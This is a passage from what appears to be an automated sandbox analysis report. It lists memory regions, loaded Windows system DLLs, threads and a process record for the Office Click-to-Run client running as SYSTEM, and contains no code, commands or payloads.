0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2481 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2482 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2483 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2484 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2485 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2486 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2487 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2488 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2489 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2490 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2491 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2492 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2493 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2494 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2495 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2496 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2497 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2498 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2499 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2500 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 2501 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2562 start_va = 0x7fef8a90000 end_va = 0x7fef8aa8fff entry_point = 0x7fef8a90000 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2563 start_va = 0x7fef8ab0000 end_va = 0x7fef8ac4fff entry_point = 0x7fef8ab0000 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Thread: id = 138 os_tid = 0x82c Thread: id = 199 os_tid = 0x418 Thread: id = 201 os_tid = 0x134 Thread: id = 203 os_tid = 0x5fc Thread: id = 206 os_tid = 0x384 Thread: id = 207 os_tid = 0x598 Thread: id = 209 os_tid = 0x9c4 Thread: id = 212 os_tid = 0x9b0 Thread: id = 213 os_tid = 0x9bc Thread: id = 214 os_tid = 0x9c0 Thread: id = 215 os_tid = 0x9d4 Thread: id = 219 os_tid = 0x980 Thread: id = 223 os_tid = 0x9a8 Thread: id = 248 os_tid = 0xbb8 Thread: id = 250 os_tid = 0x938 Process: id = "19" image_name = "officec2rclient.exe" filename = "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe" page_root = "0x8aaa000" os_pid = "0x80c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x60c" cmd_line = "\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe\" /WatchService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000d435" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 1820 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1821 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1822 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1823 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 1824 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1825 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1826 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1827 start_va = 0x13f640000 end_va = 0x140682fff entry_point = 0x13f640000 region_type = mapped_file name = "officec2rclient.exe" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe") Region: id = 1828 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1829 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1830 start_va = 0x7fffffd8000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1831 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1979 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 1980 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1981 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2037 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2038 start_va = 0x190000 end_va = 0x1f6fff entry_point = 0x190000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2039 start_va = 0x200000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2040 start_va = 0x320000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 2041 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2042 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2043 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2044 start_va = 0x7fee5330000 end_va = 0x7fee5380fff entry_point = 0x7fee5330000 region_type = mapped_file name = "concrt140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll") Region: id = 2045 start_va = 0x7fee5390000 end_va = 0x7fee53adfff entry_point = 0x7fee5390000 region_type = mapped_file name = "hlink.dll" filename = "\\Windows\\System32\\hlink.dll" (normalized: "c:\\windows\\system32\\hlink.dll") Region: id = 2046 start_va = 0x7fee53b0000 end_va = 0x7fee53d6fff entry_point = 0x7fee53b0000 region_type = mapped_file name = "sppc.dll" filename = "\\Windows\\System32\\sppc.dll" (normalized: "c:\\windows\\system32\\sppc.dll") Region: id = 2047 start_va = 0x7fef7a40000 end_va = 0x7fef7ab5fff entry_point = 0x7fef7a40000 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 2048 start_va = 0x7fef7b00000 end_va = 0x7fef7b02fff entry_point = 0x7fef7b00000 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 2049 start_va = 0x7fef7b10000 end_va = 0x7fef7b12fff entry_point = 0x7fef7b10000 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 2050 start_va = 0x7fef7b20000 end_va = 0x7fef7b22fff entry_point = 0x7fef7b20000 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 2051 start_va = 0x7fef7b30000 end_va = 0x7fef7b32fff entry_point = 0x7fef7b30000 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 2052 start_va = 0x7fef7b40000 end_va = 0x7fef7b44fff entry_point = 0x7fef7b40000 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 2053 start_va = 0x7fef7b50000 end_va = 0x7fef7b54fff entry_point = 0x7fef7b50000 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 2054 start_va = 0x7fef7b60000 end_va = 0x7fef7b62fff entry_point = 0x7fef7b60000 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 2055 start_va = 0x7fef7b70000 end_va = 0x7fef7c0cfff entry_point = 0x7fef7b70000 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 2056 start_va = 0x7fef7c10000 end_va = 0x7fef7c13fff entry_point = 0x7fef7c10000 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 2057 start_va = 0x7fef7c20000 end_va = 0x7fef7c23fff entry_point = 0x7fef7c20000 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 2058 start_va = 0x7fef7c30000 end_va = 0x7fef7c32fff entry_point = 0x7fef7c30000 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 2059 start_va = 0x7fef7c40000 end_va = 0x7fef7c43fff entry_point = 0x7fef7c40000 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 2060 start_va = 0x7fef7c50000 end_va = 0x7fef7c52fff entry_point = 0x7fef7c50000 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 2061 start_va = 0x7fef7c60000 end_va = 0x7fef7c62fff entry_point = 0x7fef7c60000 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 2062 start_va = 0x7fef7c70000 end_va = 0x7fef7c72fff entry_point = 0x7fef7c70000 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2063 start_va = 0x7fef7c80000 end_va = 0x7fef7c82fff entry_point = 0x7fef7c80000 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 2064 start_va = 0x7fef7c90000 end_va = 0x7fef7c92fff entry_point = 0x7fef7c90000 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 2065 start_va = 0x7fef7ca0000 end_va = 0x7fef7ca2fff entry_point = 0x7fef7ca0000 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 2066 start_va = 0x7fef7cb0000 end_va = 0x7fef7da1fff entry_point = 0x7fef7cb0000 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 2067 start_va = 0x7fef7db0000 end_va = 0x7fef7db3fff entry_point = 0x7fef7db0000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 2068 start_va = 0x7fef7dc0000 end_va = 0x7fef7dd6fff entry_point = 0x7fef7dc0000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 2069 start_va = 0x7fef7de0000 end_va = 0x7fef7dfafff entry_point = 0x7fef7de0000 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2070 start_va = 0x7fef8360000 end_va = 0x7fef8366fff entry_point = 0x7fef8360000 region_type = mapped_file name = "msimg32.dll" filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll") Region: id = 2071 start_va = 0x7fef8b10000 end_va = 0x7fef8b8bfff entry_point = 0x7fef8b10000 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 2072 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 2073 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 2074 start_va = 0x7fefc290000 end_va = 0x7fefc4a4fff entry_point = 0x7fefc290000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 2075 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2076 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2077 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 2078 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2079 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2080 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2081 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 2082 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2083 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2084 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 2085 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2086 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2087 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2088 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2089 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2090 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2091 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2415 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2416 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2417 start_va = 0x60000 end_va = 0x66fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2418 start_va = 0x70000 end_va = 0x71fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000070000" filename = "" Region: id = 2419 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2420 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 2421 start_va = 0x310000 end_va = 0x31ffff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2422 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 2423 start_va = 0x5f0000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 2424 start_va = 0x780000 end_va = 0x83ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 2425 start_va = 0x840000 end_va = 0xc32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 2426 start_va = 0xc40000 end_va = 0xd3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2427 start_va = 0xd70000 end_va = 0xd7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d70000" filename = "" Region: id = 2428 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 2429 start_va = 0xe60000 end_va = 0x112efff entry_point = 0xe60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2430 start_va = 0x1210000 end_va = 0x130ffff entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 2431 start_va = 0x1330000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x0000000001330000" filename = "" Region: id = 2432 start_va = 0x7fee75b0000 end_va = 0x7fee764ffff entry_point = 0x7fee75b0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2433 start_va = 0x7fef35b0000 end_va = 0x7fef3691fff entry_point = 0x7fef35b0000 region_type = mapped_file name = "d2d1.dll" 